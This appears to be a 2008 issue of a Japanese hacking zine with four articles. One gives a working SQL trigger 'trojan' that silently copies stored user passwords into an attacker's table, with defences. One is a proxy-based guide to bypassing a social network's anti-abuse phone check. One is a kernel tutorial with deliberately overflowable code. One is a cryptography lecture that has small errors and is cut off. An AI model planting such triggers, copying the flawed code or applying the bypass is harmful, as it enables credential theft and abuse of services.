[-]=======================================================================[-] Wizard Bible vol.39 (2008,3,5) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章：目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章: SQL Trojan 金床 著 ○第2章: mixiのアカウント登録における携帯アドレスの要求への対処法 Defolos 著 ○第3章: Linuxカーネルをハッキングしてみよう Kenji Aiko 著 ○第4章: 基礎暗号学講座・第14回 〜仮定の重要性〜 IPUSIRON 著 ○第5章: お知らせ ○第6章: 著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: SQL Trojan --- 著者：金床 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに 　SQL Trojanとは、「トリガー」とよばれるデータベースの機能を悪用するマル ウェアの一種だ。「トロイ」と呼ばれていることからもわかるように、システム 内部で密かに動作し、機密データの収集などの活動をおこなう。感染対象はデー タベースサーバーとなる。 　本稿ではとてもシンプルな例を通してこのSQL Trojanについて考察をおこなう。 なお、以下の解説ではPostgreSQL8.1を用いているが、他のRDBMSなどについても 同様の原理を用いることが可能だろう。 ■0x02.) 攻撃対象となるアプリケーションの例 　アプリケーションが次のようなテーブルによってユーザ管理を行っているもの とする。 ----- create table tuser ( id text, password text ); ----- 　このテーブルにはユーザのIDとパスワードが格納され、主にログインなどの機 能で利用されるものとする。passwordフィールドには暗号化あるいはハッシュ化 がおこなわれない、生のパスワードが格納されるものとする。 　例えばこのテーブルの中身は次のようになっている。 ----- hoge=# select * from tuser; id | password ----------+---------- Kanatoko | hogefuga ----- ■0x03.) 攻撃の例 　攻撃者はこのデータベースに対し、SQLインジェクションなどを用いて次の一連 のSQL文を実行する。 ----- create language plpgsql; create table p0wn1ch1w4( id text, password text ); create function foo() returns trigger as ' begin insert into p0wn1ch1w4 values( NEW.id, NEW.password ); return new; end; ' language 'plpgsql'; create trigger tg_foo before insert or update or delete on tuser for each row execute procedure foo(); ----- 　まずcreate language文でこのデータベースでストアドプロシージャが作成でき るようにする。続いてcreate table文で盗んだデータを格納するためのテーブル を作成する（ポウンニチワ!）。 　create function文によってfooという関数が作られる。この関数はtuserテーブ ルにトリガーとして組み込まれることになる。NEW.idとNEW.passwordはtuserが更 新される際の新しいレコードの各フィールドを表すもので、つまりtuserが更新さ れるたびに新しいデータ（変更、あるいは追加されるもの）がポウンニチワテーブルにinse rtされるのだ。 　最後のcreate trigger文によってこの悪意あるコードがトリガーとしてtuserテーブ ルに組み込まれることになり、SQL Trojanの感染が完了する。 　攻撃者は一度侵入したデータベースにこのようなSQL Trojanを感染させておく ことで、継続的にデータを盗み出すことが可能となる。この例では盗んだデータ を取り出すためにはポウニチワテーブルにアクセスする必要があるが、実際のケースではファイルへ の書き出しや名前解決などを利用したネットワーク経由での窃取が使用される可能性が あるだろう。 ■0x04.) 対策 　対策を以下に列挙する。 ・SQLインジェクションなどの脆弱性を作り込まない ・データベースやアプリケーションに与える権限を最小限のものにし、トリガー やテーブルの作成が行えないようにする ・定期的にデータベース内を検索し、怪しいテーブルやトリガーが増えていない かどうかを確認する ■0x05.) まとめ 　SQL Trojanはデータベースに悪意あるトリガーを仕掛けることで一度侵入に成 功した攻撃者が継続的にデータを盗み出すための仕組みだ。このようなコードは アンチウイルスソフトウェアでは検知できないため、独自の対策が必要となるだ ろう。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: mixiのアカウント登録における携帯アドレスの要求への対処法 --- 著者：Defolos x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに 　つい先日、mixiのアカウントを取ろうと考えました。いや、すでに2つほどアカ ウントは持ってるわけですが、気まぐれでもうひとつほしいなと思ったのです。 で、Gmailのアカウントとって招待状を送ったのですが、なんとビックリ！　携帯 アドレスを入力する欄が増えてるではありませんか！　昔はこんなのいらなかっ たぞー！！　ってなわけで、携帯のアドレスを入れることなく新規登録する方法 を考えました。 　たぶんこのレポートで紹介する方法は「え！？　いまさら？」ってぐらいあり きたりな方法なので、知ってる方は多いと思います。まぁ、読んでいただければ 幸いです。 ■0x02.) mixiとは 　mixi（http://mixi.jp/）は言わずと知れた日本の大手SNSサイトです。Wizard Bible読者の方もアカウントをお持ちの方は多いと思います。mixiは招待制という、 すでにアカウントを持っている人物から招待状をもらうことでアカウント登録が 可能となるシステムをとっているのですが、実はここ最近、mixiのアカウントを 取得するのが難しくなってきています。原因である携帯アドレスの必須化につい ては後述することにしますが、mixi社がこのような対応を行うのは、複数アカウ ントの取得によるイタズラの横行に起因します。他者を装うことでコメントやコ ミュニティへの書き込みなどで無責任な発言を行い、そのままアカウントごと消 去する輩が増えたことによって、mixi社は登録時のハードルを上げる対応を行っ たのです。この状況下でのmixi社の対処は妥当な判断といえたでしょう。しかし、 その対処によってアカウントの取得が不可能となった善意のユーザも存在するの です。 ■0x03.) 携帯アドレス必須化について 　上記で述べましたように、登録時のハードルとしてmixi社は携帯電話のアドレ スを必須とする方策をとりました。携帯電話は製造番号を取得することができ、 その番号を識別子とすればひとりで複数アカウントを取得しようとしているかど うか判別することができます。これによってひとり1アカウントに抑えようという のがmixi社の狙いでした。 ●問題点 　携帯アドレスの必須化は一見問題なく複数アカウントの取得を阻止できるよう に思えます。しかし、これには携帯電話の個人的な所持が必須条件となります。 つまり、携帯電話を持っていないユーザや、一度登録したがなんらかの事情で退 会したユーザ、携帯電話以外の情報端末を利用しているユーザはmixiのアカウン トを取得することが不可能なのです。たとえばWillcome端末は携帯とは認識され ず、Willcomeしかもっていないユーザはmixiへの入会ができないということにな ってしまいます（対処される予定のようです）。 ■0x04.) 抜け道 　携帯アドレスの必須化には実は抜け道があります。今回の携帯アドレス必須化 が適応できるのは、ひとりにつきひとつの携帯電話を所持しているという前提の もと成り立ちます。つまり、人口のほとんどが携帯を所持している日本以外では、 この対応ではマズイということになります。しかしながら、国際化を掲げるmixi にとって日本以外の国から登録ができないというのは問題となります。そこで、 mixi社は海外からの登録に限って携帯のアドレスを要求しないようにしているの です。今回はこの抜け道を利用して、コストフリーでmixiへの登録を行ってみま しょう。 ■0x05.) Gmailの取得 　mixiに登録するには最低でもPC用のメールアドレスが必要です。ですので、ま ずはメールアドレスを取得する必要があります。ここではGoogle社が提供するメ ールサービスであるGmailを利用してアカウントを取得します。 　はじめにGmailのWebサイト（http://www.google.co.jp/）へアクセスしてくだ さい。Webページの上部ヘッダーに「Gmail」というリンクがありますので、クリ ックしてください。すでにアカウントをお持ちの場合は次の「Proxyについて」を お読みください。まだGmailのアカウントが無い場合は、右側の「アカウント登録」 というリンクをクリックし、適当な名前を設定して登録してください。 　登録ができましたら、次の「Proxyについて」をお読みください。 ■0x06.) Proxyについて 　今回の要点は海外からの接続に限り携帯アドレスの入力を要求しないという点 にあります。つまり、日本にいながら海外から接続しているように見せかければ、 携帯のアドレスはいらないということになります。そこで、これを実現するのが Proxyという仕組みです。 ●Proxyの目的 　ネットをしていてProxyという言葉を聞いたことがある方も多いと思います。よ く掲示板などでは「身元を隠す」ためのツールだと勘違いされた方も間々見かけ ますが、本来はそのようなものではありません。Proxyとは通信における情報量を 削減するために、情報を一時的に保存しておくサーバのことです。たとえば、日 本からブラジルのWebサーバにあるページを閲覧したいとします。はじめて閲覧す るときは当然ブラジルのサーバにリクエストを出して、ページを転送してもらわ なければなりません。 [Japan]--------------request----------------------->[Braasil] <-------------responce----------------------- 　しかし、何度も同じページを見るとすれば、その都度地球の反対側まで電気信 号を送りつけるのは大きな無駄です。頻繁に閲覧するなら、日本とブラジルの中 間にあるアメリカのサーバにデータを保存しておき、そこにリクエストを出して 閲覧したほうが時間的にもネットワークを伝わる情報量的にもお得です。つまり、 日本とブラジルの仲介としてアメリカのProxyサーバを利用すれば、ブラジルのサ ーバに更新があるまで、日本とアメリカ間の通信で情報が得られることになるの です。 *First requesting [Japan]------request--->[U.S.A.]-----request-------->[Braasil] <----responce----[Store ]<----responce-------- *Second requesting [Japan]------request--->[U.S.A.] [Braasil] <----responce----[Store ] 　このように、情報を一時的に貯めておき、通信量を抑えるための仕組みをProx yと言います。 ●匿名化への応用 　Proxyの動作としては上記の通りですが、この特徴を応用することで、掲示板へ の匿名書き込みが可能となります。ブラジルのWebサーバにおかれた掲示板（掲示 板もWebサービスのひとつ）から見ると、リクエストを出しているのはアメリカの ように見えます。しかし、実際は日本からのリクエストの仲介を行っていますの で、実際に操作を行っているのは日本のPCです。このように、Proxyは一見すると 接続元を変更できているように見えるの特徴も持ち合わせています。これが俗に 言われるProxyによる匿名化の原理です。もちろんアメリカのProxyサーバには、 日本のPCからリクエストがあったことが記録されるわけですので、厳密な意味で の匿名化はありえません。あくまでも時間稼ぎに使えるというわけです。中には まともに記録をとらず、匿名化のためだけにProxyサーバを稼動させている人もい るにはいるのでしょうが・・・ ●海外からの接続に見せる 　さて、上記の例ではブラジルのWebサーバから見て接続元はアメリカに見えると 述べました。これと同じことがmixiでも可能です。アメリカのProxyを仲介として mixiへ接続すれば、日本国内にいながら、アメリカからの接続としてmixiを利用 できるのです。この場合はProxyの本来の目的である情報量の軽減とはまるっきり 逆に、アメリカまで遠回りして情報を得ることになりますので、直接リクエスト を出すより格段に遅くなります。とは言え、これでmixiには海外から接続してい るように見せることができるのです。 ■0x07.) 登録手順 1.招待状の発行 　知人から招待状をもらうか、自分で招待状を発行してください。招待状は先ほ ど取得したGmailのメールアドレスへ送ります。 2.メールの閲覧 　Gmailへ入り、送られた招待状メールを見てください。中ほどに新規登録のため のURLがありますが、現段階ではクリックせず、次のステップへ進んでください。 3.Proxyの適用 　Proxyサーバは日々消えたりできたりを繰り返しています。ですので、ProxyFo rest(http://www.proxyforest.com/)などを参考に利用可能なものを探してくださ い。今回はProxyForestを例に説明します。ProxyForestのページの「ProxyLixt」 をクリックすると次のようなリストが表示されます。 ----- IPAddress:Port Country Anonymous Time Rank 80.48.41.11:8080 PL -- 7,644 E 61.143.61.78:5661 CN Anonymous 3,588 A+ 80.74.160.55:80 CS -- 14,165 E ... ----- 　IPAddress:Portの部分はProxyのIPアドレスとポート番号です。両者は「:」で 区切られています。CountryはProxyサーバが置かれている国の名前です。日本は JPであらわすことになっていますので、JPとかかれたもの以外を選択してくださ い。Timeは反応時間の平均です。この値ができるだけ小さいものを選ぶようにし てください。3,000ぐらいでも1ページ表示するのに20秒近くかかることが多いの で、反応時間が大きいものはほとんど利用できないと考えて差し支えないと思い ます。Rankは信頼度ですが、あまり考えなくても良いです。 　このリストの中から適当なものを選びます。次にそのProxyを仲介するようにブ ラウザを設定します。FireFoxの場合はメニューの「ツール」→「オプション」→ 「詳細」→「ネットワーク」と進みます。「接続設定」をクリックし「インター ネット接続」ウィンドウを開きます。「手動でプロキシを設定する」にチェック を入れ「HTTPプロキシ」の部分に先ほど選んだProxyのIPアドレスを、「ポート」 の部分にポート番号を入れます。ほかの部分は空白にし「OK」をクリックします。 　これでProxyを仲介してWebサーバにリクエストを発行するようになりました。 これ以後の反応はかなり遅くなりますので、気長に作業を進めてください。 4.招待状メールのURLをクリック 　Gmailに送られてきた招待状メールを開き、中ほどの新規登録へのURLを押して ください。非常に時間がかかりますが、根気よく待ってください。しばらくする と登録情報を入力するように言われますが、このとき携帯アドレスを入力する欄 が消えているはずです。もし携帯アドレスを入れる欄があったなら、一度ブラウ ザを終了させてからもう一度やり直してください。それでもダメなら、ほかのPr oxyを使って同じことを行ってください。 5.登録情報を入力 　適当な情報を入れておきましょう。名前とか本名を入れていると、mixiサーバ がクラックされたときに危ないので、できるだけハンドルネームを使ったほうが 良いです。ただし、所在地は海外にしておいたほうが無難かと思います。この情 報は後から変えられるので、適当でも大丈夫です。 6.登録ボタンを押す 　一番下にある登録ボタンをしてください。Proxyを通してますので、反応までか なりの時間がかかります。 7.Proxyを切って接続 　Proxyを無効にしてからmixiにアクセスしてください。正常に登録できていれば Gmailのアドレスと先ほど登録したときのパスワードでログインできると思います。 これ以降はProxyは通さなくても自由にログインできます。 ■0x08.) おわりに 　いかがでしたか？　「そんな情報知ってるよ！」と思われた方も多いと存じま すが、今回のレポートを通して、どのようなシステムにも脆弱性が存在している ことを実感していただければ幸いです。その脆弱性が仕様レベルなのか、OSによ るものなのか、はたまたハードウェアに依存するものなのかはそれぞれでしょう が、ありとあらゆるシステムには脆弱性があります。今回はmixiという例をとっ て仕様における脆弱性を見てきました。 　それでは、またお会いしましょう。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: Linuxカーネルをハッキングしてみよう --- 著者：Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに 　Linuxのカーネルをハッキングしてみよう。 　まず、「http://kernel.org/」からカーネルのソースコードをゲットします。 現在（2008/03/03）の最新版は「2.6.24.3」なので、このバージョンのフルパッ ケージをダウンロードします。 ----- terminal # wget http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.3.tar.bz2 --06:04:11-- http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.3.tar.bz2 => `linux-2.6.24.3.tar.bz2' kernel.org をDNSに問いあわせています... kernel.org|204.152.191.37|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 46,741,533 (45M) [application/x-bzip2] 100%[==============================================>] 46,741,533 3.30M/s ETA 00:00 06:04:23 (3.82 MB/s) - `linux-2.6.24.3.tar.bz2' を保存しました [46741533/46741533] # ls linux-2.6.24.3.tar.bz2 # tar jxf linux-2.6.24.3.tar.bz2（tarで展開します） # cd linux-2.6.24.3（ディレクトリの中に入ります） # make-kpkg --revision=kn01 kernel_image（コンパイル開始） （延々と続くコンフィグ設定の質問に答えていく） ----- 　延々と続くコンフィグ設定に飽きてくると、とりあえずEnterキー連打状態にな ります。それでも全然コンパイルは通るのですが、個人的には、すでに誰かが作 った.config辺りネット上から探してきてコピーしてきてもいいかなと思います。 　そんな感じで、コンフィグ設定が終わると、ファイルがコンパイルされていき ます。 ----- terminal CC [M] drivers/net/sk98lin/ski2c.o CC [M] drivers/net/sk98lin/sklm80.o CC [M] drivers/net/sk98lin/skqueue.o CC [M] drivers/net/sk98lin/skrlmt.o CC [M] drivers/net/sk98lin/sktimer.o ----- 　オブジェクト指向全盛なこの時代に、こんなに大きなソフトウェアをC言語で書 けるのかという事実に驚愕しながら、コンパイルが終わるのを待ちます。 ----- terminal dpkg-deb: building package `kernel-image-2.6.24.3' in `../kernel-image-2.6.24.3_kn01_i386.deb'. rm -f -r debian/tmp-image echo done > stamp-image make[1]: Leaving directory `/.../linux-2.6.24.3k' ----- 　コンパイルが終わると、ひとつ上のディレクトリに.debファイルが作成されます。 　kernel-image-2.6.24.3_kn01_i386.debが出来上がったので、これを、カーネル をインストールしたいマシンにコピーします。コンパイルした環境にカーネルを インストールする場合は、そのままでOKです。 　カーネルを差し替える場合、grubが必要です。grubはapt-getでインストールで きます。 ----- terminal # apt-get install grub # grub-install # update-grub ----- 　lilo系を使っている方は、bootディレクトリやlibディレクトリに必要なファイ ルをコピーして、/etc/lilo.conf辺りを編集してください。個人的にはgrubの方 が若干簡単かなと思っていますが、これは好みの問題かもしれません。 　grubをインストールしたら、カーネルを差し替えます。 ----- terminal # dpkg -i kernel-image-2.6.24.3_kn01_i386.deb 未選択パッケージ kernel-image-2.6.24.3 を選択しています。 (データベースを読み込んでいます ...) (kernel-image-2.6.24.3_kn01_i386.deb から) kernel-image-2.6.24.3 を展開しています... kernel-image-2.6.24.3 (kn01) を設定しています ... # update-grub Searching for GRUB installation directory ... found: /boot/grub Searching for default file ... found: /boot/grub/default Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst Searching for splash image ... none found, skipping ... Found kernel: /boot/vmlinuz-2.6.24.3 Found kernel: /boot/vmlinuz-2.6.22.6 Found kernel: /boot/vmlinuz-2.6.22.1 Found kernel: /boot/vmlinuz-2.6.22 Found kernel: /boot/vmlinuz-2.6.21.5 Found kernel: /boot/vmlinuz-2.6.21.4 Found kernel: /boot/vmlinuz-2.6.20.4 Found kernel: /boot/vmlinuz-2.6.20.3 Found kernel: /boot/vmlinuz-2.6.18-4-686 Updating /boot/grub/menu.lst ... done # vi /boot/grub/menu.lst # reboot ----- 　/boot/grub/menu.lstがアップデートされたようなので、これをviなどで開いて、 デフォルトで使用するカーネルを最新版（vmlinuz-2.6.24.3）に設定します。こ れで準備完了です。OSの再起動を行います。 　再起動後、カーネルのバージョンを確認します。すると、最新版になっている のが分かります。 ----- terminal # uname -r 2.6.24.3 ----- 　これでカーネルの更新は終了です。 ■0x02.) printk 　printkは、カーネルからディスプレイに文字列を表示する関数です。要するに printfのカーネル版です。カーネルはかなり膨大なソースコードなので、いきな り全部を理解するのは難しいです。よって、とりあえず、適当な場所でprintkを 呼び出してみるのがよいです。 　あと、printkはカーネルのデバッグにもよく使います。というか、むしろデバ ッグにはprintkしか使えません。正直、カーネルのデバッグとかかなり苦痛なの で（コンパイルや実行に時間がかかるし、printkだけじゃ問題箇所が全然特定で きないし）、もし、よく出来たVMなどで、カーネル空間をデバッガ的なもので追 えたりできるツールがあれば教えてください（そろそろそういうのが出てきても いいはず）。 ■0x03.) コードの追加 　printkに飽きたら、いよいよカーネルハッカーへの最初の一歩を踏み出すこと になります。つまり、カーネルに何か機能を持たせます。とりあえず、カーネル ディレクトリ以下のnet/socket.cという、とても興味深いコードを読んでみます。 ----- net/socket.c /* * NET An implementation of the SOCKET network access protocol. * * Version: @(#)socket.c 1.1.93 18/02/95 * * Authors: Orest Zborowski, * Ross Biro * Fred N. van Kempen, * * Fixes: * Anonymous : NOTSOCK/BADF cleanup. Error fix in * shutdown() （略） EXPORT_SYMBOL(kernel_sock_ioctl); EXPORT_SYMBOL(kernel_sock_shutdown); ----- 　読んでみると、とても馴染みがありそうな名前が多々出現します。でも馴染み がありそうなだけで、はっきりいってよく意味がわからないコードばかりだと思 います。でも、どんなに難しそうでも、所詮C言語です。アルファベットの記号を 辿っていけば、なんとかなります（きっと）。 　でも、読んでるだけではやっぱりツマラナイので、何か関数を追加します。 ----- net/socket.c（追加部分） static int wb_talk_buffer(int flag, char *str) { static char s[1024] = ""; switch(flag) { case 0: strcpy(str, "Hello "); strcat(str, s); break; case 1: strcpy(s, str); break; default: break; } return 0; } static int wb_talk_read( char *buffer, char **start, off_t offset, int count, int *peof, void *dat) { int len = 0; char str[256]; wb_talk_buffer(0, str); len += sprintf(buffer + len, "%s\n", str); return len; } static int wb_talk_write( struct file *file, const char __user *buffer, unsigned long count, void *item) { int result; char *tmp_buffer; if((tmp_buffer = kmalloc(count + 1, GFP_KERNEL)) == NULL) return -ENOMEM; if(copy_from_user(tmp_buffer, buffer, count)){ result = -EFAULT; }else{ tmp_buffer[count] = '\0'; wb_talk_buffer(1, tmp_buffer); result = count; } kfree(tmp_buffer); return result; } static int wizard_bible(void) { struct proc_dir_entry *e; if((e = create_proc_entry("wizard_bible", 0644, NULL)) == NULL) return -1; e->owner = THIS_MODULE; e->read_proc = (read_proc_t *) wb_talk_read; e->write_proc = (write_proc_t *) wb_talk_write; return 0; } ----- 　net/socket.cに上記のコード（4つの関数）を追加してください。追加場所はど こでもよいです。 　あとは、wizard_bible関数をどこかの初期化関数から呼んでもらいましょう。 このファイル（socket.c）には、ちょうどinit_onceという一度だけ初期化してく れそうな関数が用意されているので、この関数に少し手を加えます。 ----- net/socket.c（変更部分） static int wizard_bible(void); static void init_once(struct kmem_cache *cachep, void *foo) { struct socket_alloc *ei = (struct socket_alloc *)foo; static int flag = 1; if(flag == 1){ wizard_bible(); flag = 0; } inode_init_once(&ei->vfs_inode); } ----- 　これでコードの変更は終わりです。変更を加えたコードを以下に置いておきま す。自分で書くのがメンドクサイという方は、このファイルをnet以下にコピーし てください。 　http://07c00.com/text/kernel/socket.c 　では、再度カーネルをコンパイルします。 ----- terminal make-kpkg --revision=kn02 kernel_image ----- 　コンパイルが終わったら、カーネルをインストールします。 ----- terminal # dpkg -i kernel-image-2.6.24.3_kn02_i386.deb Do you want to stop now? [Y/n]n kernel-image-2.6.24.3 を展開し、置換しています... kernel-image-2.6.24.3 (kn02) を設定しています ... Please Hit return to continue. Not updating image symbolic links since we are being updated (kn01) # update-grub # reboot ----- 　OSを再起動します。 　そして、/proc以下をlsで確認すると… ----- terminal # cd /proc /proc# ls 62 dma kcore partitions uptime apm driver kmsg scsi version buddyinfo execdomains loadavg self vmstat bus filesystems locks slabinfo wizard_bible　←ココ diskstats kallsyms pagetypeinfo tty /proc# ----- 　「wizard_bible」なるステータスが、/proc以下に追加されているのが確認でき ます。では、このステータスに「KENJI」という文字列を、echoコマンドを使って 送ります。そして、catコマンドで確認すると… ----- terminal /proc# echo KENJI > /proc/wizard_bible /proc# cat /proc/wizard_bible Hello KENJI /proc# ----- 　カーネルから「Hello KENJI」という文字列が返ってきました。無事、カーネル 空間とユーザー空間との会話（データ共有）を行えたことになります。 ■0x04.) バッファオーバーフロー 　見てわかるとおり、上記のコードにはバッファオーバーフローの脆弱性が存在 します。wb_talk_read関数は、str配列として256バイトを確保していますが、wb _talk_buffer関数内で定義されているstaticな配列sは、1024バイトを持ちます。 wb_talk_write関数が動的メモリ確保でデータをwb_talk_bufferへ渡しているため、 うまくやれば、wb_talk_read実行時にスタック内で任意のコードを実行できそう です。 　また、wb_talk_write関数が動的にメモリを確保しているのに対し、staticな配 列sは1024バイトと固定なので、この部分でもオーバーフローを発生させることが できます。 　さて、このバッファオーバーフローですが、見てのとおり、カーネル空間で発 生しています。ユーザーランドで発生したバッファオーバーフローによるroot奪 取のハンドリングは、様々な文献で解説されていますが、では、カーネルランド で発生しているオーバーフローに対しては、どういった可能性が考えられるでし ょうか？　一度ゆっくりと考えてみてもよいかもしれません。 ■0x05.) さいごに 　今回は、これからLinuxカーネルに触れてみようという方を対象に解説させてい ただきましたが、いかがだったでしょうか？　私自身Linuxカーネルをそれほど多 く読んでいるわけではないのですが、Linuxのソースコードは、全体的な概念さえ 分かってしまえば、それほど難しいものではないように思えます。なので「カー ネルかよー」と敬遠せずに、一度、軽い気持ちで読んでみてもいいかもしれませ ん。意外とスラスラと読めるかもしれませんよ(^^;。 　では、また会う日まで x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: 基礎暗号学講座・第14回 〜仮定の重要性〜 --- 著者：IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに 　前回のWB39ではハッシュ関数について取り上げた。まず圧縮関数からハッシュ 関数が構成できることを確認した。次に、衝突困難問題と弱衝突困難問題と呼ば れる2つの問題を定義し、どちらの問題が解くのに困難であるかということを直観 的に確認した。その後、衝突困難（あるいは弱衝突困難）な圧縮関数が存在すれ ば、衝突困難（あるいは弱衝突困難）なハッシュ関数を構成できることを示した。 つまり、部品となる圧縮関数の安全性を維持したまま、ハッシュ関数を構成でき るのであった。 　さらに、WB33ではElGamal暗号という公開鍵暗号を紹介した。このElGamal暗号 を破ることと、DH問題（後ほど言及するが厳密にはCDH問題）を解くことが同程度 に困難であることを示した。つまり、ElGamal暗号の安全性はDH問題の困難さと等 価であるのだ。言い換えれば、少なくともDH問題を解くことが困難であることを 仮定しなければ、ElGamal暗号は安全ではないことを意味する。ここで安全と一言 で言ってしまっているが、きちんと書くと次のようになる。ElGamal暗号はCDH仮 定の下で、選択平文攻撃に対して完全解読できない（OW-CPA安全）。これはすで にWBにおいて証明済みである。 　また、ElGamal暗号の安全性を高めるために、鍵生成アルゴリズムに改良を施し た方式（素数位数を持つ群を用いる）として拡張ElGamal暗号が存在する。この拡 張ElGamal暗号はDDH仮定の下で、選択平文攻撃に対して部分解読さえもできない こと（IND-CPA安全）が知られている。 　そして、WB34では（教科書的）RSA暗号と呼ばれる公開鍵暗号を紹介した。この RSA暗号はRSA仮定の下で、OW-CPA安全（受動的攻撃に対して一方向性の安全性ま で）であることが知られている。 　以上のように、暗号技術のサービス（暗号化・署名・ハッシュ・認証など）を 安全に実現するためには、何らかの仮定が必要とされる。さらに、その仮定が変 われば、満たされる安全性も変わってくる。よって、暗号技術の安全性を語ると きは仮定を明確にしなければならない。 　そこで今回の記事では「仮定」に焦点を当てていく。まず、代表的な仮定であ る離散対数仮定を復習し、その仲間であるCDH仮定とDDH仮定を紹介する。そして、 それらの仮定の間の関係を直観的に確認していく。 ■0x03.) DL問題とDL仮定 　DL問題（離散対数問題）と離散対数仮定は最も基本的なもののひとつなので、 復習として再掲する。ただし、ここで述べる定義は完全に厳密なものではないこ とに注意して欲しい。 　Gを素数位数qの巡回群、gをGの生成元、hをGの元とする。このとき、(G,q,g,h) が与えられたときに、g^x≡h (mod q)を満たす正の整数xを求める問題をDL問題と 呼ぶ。 　そして、DLPを解く効率的なアルゴリズムが存在しないという仮定のことを、 （群Gに対する）DL仮定と呼ぶ。 　ものすごくラフに言えば、gの右肩であるxを解く問題がDL問題であり、その問 題を効率的に解けないという仮定がDL仮定ということである。 ■0x04.) CDH問題とCDH仮定 　Gを素数位数qの巡回群、gをGの原始元、x,yを（Z_q^*上の）ランダム値とする。 このとき、(G,q,g,g^x,g^y)が与えられたときに、g^xyを求める問題をCDH（Comp utational Diffie-Hellman）問題という。 　そして、CDH問題を解く効率的なアルゴリズムが存在しないという仮定のことを、 CDH仮定と呼ぶ。 　このCDH問題・CDH仮定の概念は、WB33でDH問題・DH仮定と呼んでいたものと同 じである。つまり、実はWB33では厳密性を捨ててCDHのことをDHと呼んでいたので ある。 ■0x05.) DDH問題とDDH仮定 　CDH問題に似た問題としてDDH問題と呼ばれる問題を考えることができる。 　Gを素数位数qの巡回群、gをGの生成元、x,yを（Z_q^*上の）ランダム値とする。 このとき、(G,q,g,g^x,g^y)が与えられたときに、g^xyの部分情報を求める問題を DDH（Computational Diffie-Hellman）問題という。 　先ほどのCDH問題ではg^xyの値を完全に求めることであった。一方、DDH問題で は、g^xyの値の部分情報、つまり1ビットさえ求めればよいことを意味する。よっ て、明らかにCDH問題よりもDDH問題の方が解くことが容易な問題を意味している ことがわかる。 　このDDH問題は識別不可能という表現を使って、言い換えると次のようになる。 　Gを素数位数qの巡回群、gをGの原始元、x,y,zを（Z_q^*上の）ランダム値とす る。このとき、(G,q,g,g^x,g^y,g^xy)と(G,q,g,g^x,g^y,g^z)を識別する問題のこ とをDDH問題という。 　一般的に後者の定義の方が表現しやすいので使われている。しかし、慣れるま では意味的は全射の方がわかりやすいのではないだろうか。 　そして、DDH問題を解く効率的なアルゴリズムが存在しないという仮定のことを、 DDH仮定と呼ぶ。 ■0x06.) CDH問題 vs DDH問題 　CDH仮定とDDH仮定を定義できた。そこでこの2つの仮定の強弱を確認してみる。 仮定の強弱を考えるときは、まず問題の困難性の差を考えるとわかりやすい。こ こでも問題の困難性から見ていく。 　CDH問題とDDH問題を比較すると、DDH問題の方が解くのが容易である。なぜなら ば値を完全に求めるよりも、部分的に求める方が直観的に楽だからである。実際 に、CDH問題を解くことができれば、DDH問題を解いていることにもなる。定義の 意味から、値g^xyを完全に求めていれば、部分的にも自動的に解いていることを 意味するからである。言い換えれば、CDH問題を解くアルゴリズムが存在すれば、 DDH問題を解くアルゴリズムを作ることができることを意味している。 　実際のCDH問題を解くアルゴリズムを利用するような、DDH問題を解くアルゴリ 